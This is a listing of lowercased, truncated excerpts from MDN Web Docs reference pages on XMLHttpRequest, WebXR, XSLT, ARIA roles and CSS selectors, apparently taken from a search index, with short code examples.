...r('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy...
XMLHttpRequest: progress event - Web APIs
bubbles no cancelable no interface progressevent event handler property onprogress examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbutto...
...r('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy...
XMLHttpRequest.response - Web APIs
the value is null if the request is not yet complete or was unsuccessful, with the exception that when reading text data using a responsetype of "text" or the empty string (""), the response can contain the response so far while the request is still in the loading readystate (3).
... "" an empty responsetype string is treated the same as "text", the default type.
XMLHttpRequest.setRequestHeader() - Web APIs
if no accept header has been set using this, an accept header with the type "*/*" is sent with the request when send() is called.
... note: for your custom fields, you may encounter a "not allowed by access-control-allow-headers in preflight response" exception when you send requests across domains.
XMLHttpRequest.statusText - Web APIs
unlike xmlhttprequest.status which indicates a numerical status code, this property contains the text of the response status, such as "ok" or "not found".
... if the server response doesn't explicitly specify a status text, statustext will assume the default value "ok".
XMLHttpRequestEventTarget - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline poin...
...ts="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequesteventtarget" target="_top"><rect x="151" y="1" width="250" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequesteventtarget</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties xmlhttprequesteventtarget.onabort contains the function to call when a request is aborted and the abort event is received by this object.
XPathResult.invalidIteratorState - Web APIs
html <div>xpath example</div> <p>iterator state: <output></output></p> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.any_type, null); // invalidates the iterator state document.queryselector("div").remove(); document.queryselector("output").textcontent = result.invaliditeratorstate ?
... "invalid" : "valid"; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.invaliditeratorstate' in that specification.
XRPermissionDescriptor.optionalFeatures - Web APIs
the "interface" column in the table below indicates which of the two types is returned for each reference space type constant..
... xrreferencespace usage notes examples let xrpermissiondesc = { name: "xr", mode: "immersive-vr", optionalfeatures: [ "bounded-floor" ] }; if (navigator.permissions) { navigator.permissions.query(xrpermissiondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptandsetupxr(); break; default: /* do nothing otherwise */ break; } .catch(err) { co...
XRPermissionDescriptor - Web APIs
if the permission request promise is rejected, the error is handled (currently by just dumping it to the console using domxref("console.log()")}}).
... let xrpermissiondesc = { name: "xr", mode: "immersive-vr", requiredfeatures: [ "local-floor" ] }; if (navigator.permissions) { navigator.permissions.query(xrpermissiondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptandsetupxr(); break; default: /* do nothing otherwise */ break; } .catch(err) { console.log(err); } } else { setupxr(); } specifications specification status comment ...
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
xrsession.requestreferencespace("local") .then((refspace) => { xrreferencespace = refspace; xrreferencespace = xrreferencespace.getoffsetreferencespace( new xrrigidtransform(startposition, {x:0, y:0, z:1.0, w: 1.0})); xrsession.requestanimationframe(drawframe); }); in this code, we obtain a local reference space, then use getoffsetreferencespace() to create a new space whose origin is adjusted to a position given b...
... canvas.oncontextmenu = (event) => { event.preventdefault(); }; canvas.addeventlistener("mousemove", (event) => { if (event.buttons & 2) { rotateviewby(event.movementx, event.movementy); } }); next, the rotateviewby() function, which updates the mouse look direction's yaw and pitch based on the mouse delta values from the mousemove event.
XRReferenceSpace: reset event - Web APIs
however, if that kind of "teleportation" is being used, you actually want to avoid jumping the user's position after tracking recovery, this can introduce additional and potentially jarring jumping.
...first, you can use the addeventlistener() method: viewerrefspace.addeventlistener("reset", (event) => { /* perform reset related tasks */ }); the second option is to set the xrreferencespace object's onreset event handler property: viewerrefspace.onreset = (event) => { /* perform reset related tasks */ }; specifications specification status comment webxr device apithe definition of 'reset event' in that specification.
XRRenderState.inlineVerticalFieldOfView - Web APIs
the read-only inlineverticalfieldofview property of the xrrenderstate interface returns the default vertical field of view for "inline" sessions and null for all immersive sessions.
... syntax var inlineverticalfieldofview = xrrenderstate.inlineverticalfieldofview; value a number for "inline" sessions, which represents the default field of view, and null for immersive sessions.
XRRigidTransform.position - Web APIs
example to create a reference space which can be used to place an object at eye level (assuming eye level is 1.5 meters): function onsessionstarted(xrsession) { xrsession.addeventlistener("end", onsessionended); gl = initgraphics(xrsession); let gllayer = new xrwebgllayer(xrsession, gl); xrsession.updaterenderstate({ baselayer: gllayer }); if (immersivesession) { xrsession.requestreferencespace("bounded-floor").then((refspace) => { refspacecreated(refspace); }).catch(() => { session.requestreferencespace("local-floor").then(refspacecreated); }); ...
...} else { session.requestreferencespace("viewer").then(refspacecreated); } } function refspacecreated(refspace) { if (immersivesession) { xrreferencespace = refspace; } else { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform({y: -1.5}); ); } xrsession.requestanimationframe(onframe); } after setting up the graphics context for webxr use, this begins by looking to see if a variable immersivesession is true; if so, we first request a bounded-floor reference space.
XRSession.oninputsourceschange - Web APIs
note: the xrinputsource objects in xrsession.inputsources array are "live", so values within them are updated in-place.
...} example xrsession.oninputsourceschange = function(event) { console.log("the list of active xr input sources has changed.") } specifications specification status comment webxr device apithe definition of 'xrsession.oninputsourceschange' in that specification.
XRSession.requestAnimationFrame() - Web APIs
example the following example requests xrsession with "inline" mode so that it can be displayed in an html element (without the need for a separate ar or vr device).
... // obtain xr object const xr = navigator.xr // request a new xrsession xr.requestsession("inline").then((xrsession) => { xrsession.requestanimationframe((time, xrframe) => { let viewer = xrframe.getviewerpose(xrreferencespace) gl.bindframebuffer(xrwebgllayer.framebuffer) for (xrview of viewer.views) { let xrviewport = xrwebgllayer.getviewport(xrview) gl.viewport(xrviewport.x, xrviewport.y, xrviewport.width, xrviewport.height) // webgl draw calls will now be rendered into the appropriate viewport.
XRSession: select event - Web APIs
xrsession.addeventlistener("select", event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose.transform); } } }); you can of course also set up a handler for select events by setting the xrsession object's onselect e...
...vent handler property to a function that handles the event: xrsession.onselect = event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose.transform); } } }; specifications specification status comment webxr device apithe definition of 'select event' in that specification.
XRSession: selectend event - Web APIs
xrsession.addeventlistener("selectstart", onselectionevent); xrsession.addeventlistener("select", onselectionevent); xrsession.addeventlistener("selectend", onselectionevent); function onselectionevent(event) { let source = event.inputsource; let targetobj = null; if (source.targetraymode != "tracked-pointer") { return; } let targetraypose = event.frame.getpose(source.targetrayspace, myrefspace); if (!targ...
...etraypose) { return; } switch(event.type) { case "selectstart": targetobj = mybegintracking(targetraypose.matrix); break; case "select": mydropobject(targetobj, targetraypose.matrix); break; case "selectend": mystoptracking(targetobj, targetraypose.matrix); break; } } you can of course also set up a handler for selectend events by setting the xrsession object's onselectend event handler property to a function that handles the event: xrsession.onselectstart = onselectionevent; xrsession.onselect = onselectionevent; xrsession.onselectend = onselectionevent; specifications specification status comment webxr device apithe definition of 'selectend event' in that specification.
XRSession: selectstart event - Web APIs
xrsession.addeventlistener("selectstart", onselectionevent); xrsession.addeventlistener("select", onselectionevent); xrsession.addeventlistener("selectend", onselectionevent); function onselectionevent(event) { let source = event.inputsource; let targetobj = null; if (source.targetraymode != "tracked-pointer") { return; } let targetraypose = event.frame.getpose(source.targetrayspace, myrefspace); if (!targ...
...etraypose) { return; } switch(event.type) { case "selectstart": targetobj = mybegintracking(targetraypose.matrix); break; case "select": mydropobject(targetobj, targetraypose.matrix); break; case "selectend": mystoptracking(targetobj, targetraypose.matrix); break; } } you can of course also set up a handler for selectend events by setting the xrsession object's onselectend event handler property to a function that handles the event: xrsession.onselectstart = onselectionevent; xrsession.onselect = onselectionevent; xrsession.onselectend = onselectionevent; specifications specification status comment webxr device apithe definition of 'selectstart event' in that specification.
XRSession: squeeze event - Web APIs
xrsession.addeventlistener("squeeze", event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandlesqueezewithray(targetraypose.transform); } } }); you can of course also set up a handler for squeeze events by setting the xrsession object's onsquee...
...ze event handler property to a function that handles the event: xrsession.onsqueeze = event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandlesqueezewithray(targetraypose.transform); } } }; specifications specification status comment webxr device apithe definition of 'squeeze event' in that specification.
XRSession: squeezeend event - Web APIs
xrsession.addeventlistener("squeezestart", onsqueezeevent); xrsession.addeventlistener("squeeze", onsqueezeevent); xrsession.addeventlistener("squeezeend", onsqueezeevent); function onsqueezeevent(event) { let source = event.inputsource; let targetobj = null; if (source.targetraymode != "tracked-pointer") { return; } let targetraypose = event.frame.getpose(source.targetrayspace, myrefspace); if (!targetray...
...pose) { return; } switch(event.type) { case "squeezestart": targetobj = mybegintracking(targetraypose.matrix); break; case "squeeze": mydropobject(targetobj, targetraypose.matrix); break; case "squeezeend": mystoptracking(targetobj, targetraypose.matrix); break; } } you can of course also set up a handler these events by setting the xrsession object's onsqueezeend event handler property to a function that handles the event: xrsession.onsqueezestart = onsqueezeevent; xrsession.onsqueeze = onsqueezeevent; xrsession.onsqueezeend = onsqueezeevent; specifications specification status comment webxr device apithe definition of 'squeezeend event' in that specification.
XRSession: squeezestart event - Web APIs
xrsession.addeventlistener("squeezestart", onsqueezeevent); xrsession.addeventlistener("squeeze", onsqueezeevent); xrsession.addeventlistener("squeezeend", onsqueezeevent); function onsqueezeevent(event) { let source = event.inputsource; let targetobj = null; if (source.targetraymode != "tracked-pointer") { return; } let targetraypose = event.frame.getpose(source.targetrayspace, myrefspace); if (!targetray...
...pose) { return; } switch(event.type) { case "squeezestart": targetobj = mybegintracking(targetraypose.matrix); break; case "squeeze": mydropobject(targetobj, targetraypose.matrix); break; case "squeezeend": mystoptracking(targetobj, targetraypose.matrix); break; } } you can of course also set up a handler these events by setting the xrsession object's onsqueezeend event handler property to a function that handles the event: xrsession.onsqueezestart = onsqueezeevent; xrsession.onsqueeze = onsqueezeevent; xrsession.onsqueezeend = onsqueezeevent; specifications specification status comment webxr device apithe definition of 'squeezestart event' in that specification.
XRSystem: devicechange event - Web APIs
example the example shown here handles the devicechange event by toggling the availability of the "enter xr" button based on whether or not any immersive devices are currently available.
... if (navigator.xr) { navigator.xr.addeventlistener("devicechange", event => { navigator.xr.issessionsupported("immersive-vr") .then(immersiveok) => { if (immersiveok) { enablexrbutton.disabled = false; } else { enablexrbutton.disabled = true; } }); }); } when devicechange is received, the handler set up in this code calls the xr method issessionsupported() to find out if there's a device available that can handle immersive vr presentations.
XRSystem: ondevicechange - Web APIs
the event that is fired is a "simple event" that implements the event interface.
...}; value undefined example navigator.xr.ondevicechange = function(ev) { console.log("the availability of immersive xr devices has changed.") }; specifications specification status comment webxr device apithe definition of 'ondevicechange ' in that specification.
XRTargetRayMode - Web APIs
the target ray can be anything from a simple line (ideally fading over distance) to an animated effect, such as the science-fiction "phaser" style shown in the screenshot above.
... function updateinputsources(session, frame, refspace) { for (let source of session.getinputsources()) { let targetraypose = frame.getpose(inputsource.targetrayspace, refspace); if (targetraypose) { if (source.targetraymode == "tracked-pointer") { myrendertargetrayasbeam(targetraypose); } } /* ...
XSLT Basic Example - Web APIs
figure 1 : simple xslt example xml document (example.xml) : <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="example.xsl"?> <article> <title>my article</title> <authors> <author>mr.
...bar</author> </authors> <body>this is my article text.</body> </article> xsl stylesheet (example.xsl) : <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform"> <xsl:output method="text"/> <xsl:template match="/"> article - <xsl:value-of select="/article/title"/> authors: <xsl:apply-templates select="/article/authors/author"/> </xsl:template> <xsl:template match="author"> - <xsl:value-of select="." /> </xsl:template> </xsl:stylesheet> browser output : article - my article authors: - mr.
msCapsLockWarningOff - Web APIs
example fiddle: http://jsfiddle.net/jonathansampson/mqcha/1/ example 2 <html> <head> <title>mscapslockwarningoff example</title> <script type="text/javascript"> function capsoff() { if (document.mscapslockwarningoff == false) { document.mscapslockwarningoff = true; document.getelementbyid("caps").innerhtml = "warning off"; } else { document.mscapslockwarningoff = false; document.getelementbyid("caps").innerhtml = "warning on"; ...
... } } </script> </head> <body> <label>type a password: <input type="password" /></label><br /> <button id="caps" onclick="capsoff();">warning off</button> </body> </html> ...
msWriteProfilerMark - Web APIs
syntax window.mswriteprofilermark("start-render"); parameters bstrprofilermarkname[in] an event name.
... example if (mswriteprofilermark) { mswriteprofilermark("mark1"); } see also microsoft api extensions ...
msthumbnailclick - Web APIs
syntax event property object.onmsthumbnailclick = handler; addeventlistener method object.addeventlistener("msthumbnailclick", handler, usecapture) general info synchronous no bubbles no cancelable no note the onmsthumbnailclick event is available only to documents that are launched from a pinned site shortcut.
... example function thumbnailclickhandler(evt) { alert ("clicked button: " + evt.buttonid); } document.addeventlistener('msthumbnailclick', thumbnailclickhandler); example 2 // adds an overlay icon on your app pinned to the taskbar window.external.mssitemodeseticonoverlay(iconuri, tooltip); // removes an overlay icon window.external.mssitemodecleariconoverlay(); // pinned icons on your taskbar can be instructed to trigger specific events on your site from the taskbar // add an event handlerdocument.addeventlistener('msthumbnailclick', onbuttonclicked, false); // add the buttons var btnplay = window.external.mssitemodeaddthumbbarbutton(iconuri, tooltip); // refresh the tas...
Using the aria-label attribute - Accessibility
examples example 1: multiple labels in the example below, a button is styled to look like a typical "close" button, with an x in the middle.
... <button aria-label="close" onclick="mydialog.close()">x</button> notes the most common accessibility api mapping for a label is the accessible name property.
Using the link role - Accessibility
this includes javascript to grab the location and handle navigating to the new location using window.open() via clicking, and using keyboard, css to give the desired visuals of a link, the tabindex="0" attribute to make it keyboard-focussable, and role="link" to make it recognised as a link by assistive technology.
... html <h1>role="link" example</h1> <span data-href="https://mozilla.org" tabindex="0" id="link1" role="link" class="link"> fake accessible link created using a span </span> <p><a href="https://mozilla.org" target="_blank">actual real link</a></p> css span[role="link"] { color: blue; text-decoration: underline; cursor: pointer; } span[role="link"]:focus { outline: 1px dotted black; } javascript c...
Using the progressbar role - Accessibility
examples example 1: basic progressbar with percentage values <div role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">20 %</div> example 2: using aria-valuetext <div role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuetext="step 2: copying files...
... " aria-valuemax="100"> step 2: copying files...
Using the radio role - Accessibility
<h3 id="rg1_label">lunch options</h3> <ul class="radiogroup" id="rg1" role="radiogroup" aria-labelledby="rg1_label"> <li id="r1" tabindex="-1" role="radio" aria-checked="false"> <img role="presentation" src="radio-unchecked.gif" /> thai </li> <li id="r2" tabindex="-1" role="radio" aria-checked="false"> <img role="presentation" src="radio-unchecked.gif" /> subway </li> <li id="r3" tabind...
...ex="0" role="radio" aria-checked="true"> <img role="presentation" src="radio-checked.gif" /> radio maria </li> </ul> working examples: notes aria attributes used related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources ...
x-ms-aria-flowfrom - Accessibility
syntax x-ms-aria-flowfrom="elementid"; value the x-ms-aria-flowfrom property value uses an id selector to define which previous element the reading order will flow from.
... example <div tabindex="0" class="foo" id="element2" role="option" aria-posinset="1" aria-setsize="15" aria-flowto="element8" x-ms-aria-flowfrom="element5"> see also aria relationship attributes microsoft api extensions ...
ARIA: application role - Accessibility
<div role="application">...</div> this defines this div element and all of its descendants to be treated like they are part of a desktop application.
... see also if you use the wai-aria role "application", please do so wisely - blog post by marco zehe ...
ARIA: List role - Accessibility
<section role="list"> <div role="listitem">list item 1</div> <div role="listitem">list item 2</div> <div role="listitem">list item 3</div> </section> description any content that consists of an outer container with a list of elements inside it can be identified to assistive technologies using the list and listitem containers respectively.
... examples aria lists — some useful examples and thoughts by scott o'hara best practices only use role="list" and role="listitem" if you have to — for example if you don't have control over your html but are able to improve accessibility dynamically after the fact with javascript.
ARIA: Listitem role - Accessibility
<section role="list"> <div role="listitem">list item 1</div> <div role="listitem">list item 2</div> <div role="listitem">list item 3</div> </section> description any content that consists of an outer container with a list of elements inside it can be identified to assistive technologies using the list and listitem containers respectively.
... examples aria lists — some useful examples and thoughts by scott o'hara best practices only use role="list" and role="listitem" if you have to — for example if you don't have control over your html but are able to improve accessibility dynamically after the fact with javascript.
Keyboard - Accessibility
note: one important exception to this rule is if the element has role="document" applied to it, inside an interactive context (such as role="application").
... in such a case, focusing the nested document is the only way of returning assistive technology to a non-interactive state (often called "browse mode").
-moz-image-rect - CSS: Cascading Style Sheets
box3 { background-image: -moz-image-rect(url(https://mdn.mozillademos.org/files/12053/firefox.png), 50%, 50%, 100%, 0%); width:133px; height:136px; position:absolute; } #box4 { background-image: -moz-image-rect(url(https://mdn.mozillademos.org/files/12053/firefox.png), 50%, 100%, 100%, 50%); width:133px; height:136px; position:absolute; } html the html is quite simple: <div id="container" onclick="rotate()"> <div id="box1" style="left:0px;top:0px;">top left</div> <div id="box2" style="left:133px;top:0px;">top right</div> <div id="box3" style="left:0px;top:136px;">bottom left</div> <div id="box4" style="left:133px;top:136px;">bottom right</div> </div> this places the four segments of our image in a two-by-two box grid.
... function rotate() { var prevstyle = window.getcomputedstyle(document.getelementbyid("box4"), null).getpropertyvalue("background-image"); // now that we've saved the last one, start rotating for (var i=1; i<=4; i++) { var curid = "box" + i; // shift the background images var curstyle = window.getcomputedstyle(document.getelementbyid(curid), null).getpropertyvalue("background-image"); document.getelementbyid(curid).style.backgroundimage = prevstyle; prevstyle = curstyle; } } this uses window.getcomputedstyl...
-webkit-overflow-scrolling - CSS: Cascading Style Sheets
syntax values auto use "regular" scrolling, where the content immediately ceases to scroll when you remove your finger from the touchscreen.
... formal definition initial valueautoapplies toscrolling boxesinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | touch examples html <div class="scroll-touch"> <p> this paragraph has momentum scrolling </p> </div> <div class="scroll-auto"> <p> this paragraph does not.
:-moz-broken - CSS: Cascading Style Sheets
syntax :-moz-broken examples html <img src="broken.jpg" alt="this image is broken.
... :-("> css :-moz-broken { background: bisque; padding: 8px; } result specifications not part of any standard.
:-moz-window-inactive - CSS: Cascading Style Sheets
note: prior to the addition of this pseudo-class, giving different styles to background windows was achieved by setting an attribute (active="true") on the top-level xul chrome window.
... html <div id="mybox"> <p>this is a box!</p> </div> css #mybox { background: linear-gradient(to bottom, yellow, cyan); width: 200px; height: 200px; } #mybox:-moz-window-inactive { background: cyan; } result the result of this code is shown below.
::-webkit-file-upload-button - CSS: Cascading Style Sheets
the ::-webkit-file-upload-button css pseudo-element represents the button of an <input> of type="file".
... syntax selector::-webkit-file-upload-button examples html <form> <label for="fileupload">upload file</label><br> <input type="file" id="fileupload"> </form> css input, label { display: block; } input[type=file]::-webkit-file-upload-button { border: 1px solid grey; background: #fffaaa; } below is the example for you to try.
::-webkit-scrollbar - CSS: Cascading Style Sheets
examples .visible-scrollbar, .invisible-scrollbar, .mostly-customized-scrollbar { display: block; width: 10em; overflow: auto; height: 2em; } .invisible-scrollbar::-webkit-scrollbar { display: none; } /* demonstrate a "mostly customized" scrollbar * (won't be visible otherwise if width/height is specified) */ .mostly-customized-scrollbar::-webkit-scrollbar { width: 5px; height: 8px; background-color: #aaa; /* or add it to the track */ } /* add a thumb */ .mostly-customized-scrollbar::-webkit-scrollbar-thumb { background: #000; } <div class="visible-scrollbar"> etiam sagittis sem sed lacus laoreet...
...</div> <div class="invisible-scrollbar"> thisisaveeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeerylongword </div> <div class="mostly-customized-scrollbar"> thisisaveeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeerylongword<br> and pretty tall<br> thing with weird scrollbars.<br> who thought scrollbars could be made weeeeird?
::part() - CSS: Cascading Style Sheets
WebCSS::part
custom-element::part(foo) { /* styles to apply to the `foo` part */ } syntax ::part( <ident>+ ) examples html <template id="tabbed-custom-element"> <style type="text/css"> *, ::before, ::after { box-sizing: border-box; padding: 1rem; } :host { display: flex; } </style> <div part="tab active">tab 1</div> <div part="tab">tab 2</div> <div part="tab">tab 3</div> </template> <tabbed-custom-element></tabbed-custom-element> css tabbed-custom-element::part(tab) { color: #0c0c0dcc; border-bottom: transparent solid 2px; } tabbed-custom-element::part(tab):hover { background-color: #0c0c0d19; border-color: #0c0c0d33; } tabbed-custom-element::part(tab):hover:active {...
... background-color: #0c0c0d33; } tabbed-custom-element::part(tab):focus { box-shadow: 0 0 0 1px #0a84ff inset, 0 0 0 1px #0a84ff, 0 0 0 4px rgba(10, 132, 255, 0.3); } tabbed-custom-element::part(active) { color: #0060df; border-color: #0a84ff !important; } javascript let template = document.queryselector("#tabbed-custom-element"); globalthis.customelements.define(template.id, class extends htmlelement { constructor() { super(); this.attachshadow({ mode: "open" }); this.shadowroot.appendchild(template.content); } }); result specifications specification status comment shadow partsthe definition of '::part' in that specification.
::placeholder - CSS: Cascading Style Sheets
<label for="user-email">your email address</label> <span id="user-email-hint" class="input-hint">example: jane@sample.com</span> <input id="user-email" aria-describedby="user-email-hint" name="email" type="email"> placeholders in form fields are harmful — nielsen norman group windows high contrast mode placeholder text will appear with the same styling as user-entered text content when rendered in wi...
... mdn basic form hints placeholders in form fields are harmful — nielsen norman group examples red text html <input placeholder="type something here!"> css input::placeholder { color: red; font-size: 1.2em; font-style: italic; } result green text html <input placeholder="type something here..."> css input::placeholder { color: green; } result specifications specification status comment css pseudo-elements level 4the definition of '::placeholder' in that specification.
:disabled - CSS: Cascading Style Sheets
WebCSS:disabled
html <form action="#"> <fieldset id="shipping"> <legend>shipping address</legend> <input type="text" placeholder="name"> <input type="text" placeholder="address"> <input type="text" placeholder="zip code"> </fieldset> <br> <fieldset id="billing"> <legend>billing address</legend> <label for="billing-checkbox">same as shipping address:</label> <input type="checkbox" id="billing-chec...
...kbox" checked> <br> <input type="text" placeholder="name" disabled> <input type="text" placeholder="address" disabled> <input type="text" placeholder="zip code" disabled> </fieldset> </form> css input[type="text"]:disabled { background: #ccc; } javascript // wait for the page to finish loading document.addeventlistener('domcontentloaded', function () { // attach `change` event listener to checkbox document.getelementbyid('billing-checkbox').onchange = togglebilling; }, false); function togglebilling() { // select the billing text fields var billingitems = document.queryselectorall('#billing input[type="text"]'); // toggle the billing text fields for (var i = 0; i < billingitems.length; i++) { billingitems[i].disabled = !billingitems[i].disabled; ...
:focus-visible - CSS: Cascading Style Sheets
<input value="default styles"><br> <button>default styles</button><br> <input class="focus-only" value=":focus only"><br> <button class="focus-only">:focus only</button><br> <input class="focus-visible-only" value=":focus-visible only"><br> <button class="focus-visible-only">:focus-visible only</button> input, button { margin: 10px; } .focus-only:focus { outline: 2px solid black; } .focus-visible-only:fo...
... <custom-button tabindex="0" role="button">click me</custom-button> custom-button { display: inline-block; margin: 10px; } custom-button:focus { /* provide a fallback style for browsers that don't support :focus-visible */ outline: none; background: lightgrey; } custom-button:focus:not(:focus-visible) { /* remove the focus indicator on mouse-focus for browsers that do support :focus-visible */ background: transparent; } custom-button:focus-visible { /* draw a very not...
:fullscreen - CSS: Cascading Style Sheets
html the page's html looks like this: <h1>mdn web docs demo: :fullscreen pseudo-class</h1> <p>this demo uses the <code>:fullscreen</code> pseudo-class to automatically change the style of a button used to toggle full-screen mode on and off, entirely using css.</p> <button id="fs-toggle">toggle fullscreen</button> the <button> with the id "fs-toggle" will change between pale red and pale green depending on whether or not the document is in full-screen mode.
...the first establishes the background color of the "toggle full-screen mode" button when the element is not in a full-screen state.
:host() - CSS: Cascading Style Sheets
WebCSS:host()
in this example we have a simple custom element — <context-span> — that you can wrap around text: <h1>host selectors <a href="#"><context-span>example</context-span></a></h1> inside the element's constructor, we create style and span elements, fill the span with the content of the custom element, and fill the style element with some css rules: let style = document.createelement('style'); let span = document.createelement('span'); span.textcontent = this.textcontent; const shadowroot = this.attachshadow({mode: 'open'})...
...; shadowroot.appendchild(style); shadowroot.appendchild(span); style.textcontent = 'span:hover { text-decoration: underline; }' + ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after { content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':host(.footer) { color : red; }' + ':host { background: rgba(0,0,0,0.1); padding: 2px 5px; }'; the :host(.footer) { color : red; } rule styles all instances of the <context-span> element (the shadow host in this instance) in the document that have the footer class set on them — we've used it to give instances of the element inside the <footer> a special color.
:host-context() - CSS: Cascading Style Sheets
in this example we have a simple custom element — <context-span> — that you can wrap around text: <h1>host selectors <a href="#"><context-span>example</context-span></a></h1> inside the element's constructor, we create style and span elements, fill the span with the content of the custom element, and fill the style element with some css rules: let style = document.createelement('style'); let span = document.createelement('span'); span.textcontent = this.textcontent; const shadowroot = this.attachshadow({mode: 'open'})...
...; shadowroot.appendchild(style); shadowroot.appendchild(span); style.textcontent = 'span:hover { text-decoration: underline; }' + ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after { content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':host(.footer) { color : red; }' + ':host { background: rgba(0,0,0,0.1); padding: 2px 5px; }'; the :host-context(h1) { font-style: italic; } and :host-context(h1):after { content: " - no links in headers!" } rules style the instance of the <context-span> element (the shadow host in this instance) inside the <h1>.
:host - CSS: Cascading Style Sheets
WebCSS:host
in this example we have a simple custom element — <context-span> — that you can wrap around text: <h1>host selectors <a href="#"><context-span>example</context-span></a></h1> inside the element's constructor, we create style and span elements, fill the span with the content of the custom element, and fill the style element with some css rules: let style = document.createelement('style'); let span = document.createelement('span'); span.textcontent = this.textcontent; const shadowroot = this.attachshadow({mode: 'open'})...
...; shadowroot.appendchild(style); shadowroot.appendchild(span); style.textcontent = 'span:hover { text-decoration: underline; }' + ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after { content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':host(.footer) { color : red; }' + ':host { background: rgba(0,0,0,0.1); padding: 2px 5px; }'; the :host { background: rgba(0,0,0,0.1); padding: 2px 5px; } rule styles all instances of the <context-span> element (the shadow host in this instance) in the document.
:hover - CSS: Cascading Style Sheets
WebCSS:hover
/* selects any <a> element when "hovered" */ a:hover { color: orange; } styles defined by the :active pseudo-class will be overridden by any subsequent link-related pseudo-class (:link, :visited, or :active) that has at least equal specificity.
... syntax :hover examples basic example html <a href="#">try hovering over this link.</a> css a { background-color: powderblue; transition: background-color .5s; } a:hover { background-color: gold; } result image gallery you can use the :hover pseudo-class to build an image gallery with full-size images that show only when the mouse moves over a thumbnail.
:in-range - CSS: Cascading Style Sheets
WebCSS:in-range
in the absence of such a limitation, the element can neither be "in-range" nor "out-of-range." syntax :in-range examples html <form action="" id="form1"> <ul>values between 1 and 10 are valid.
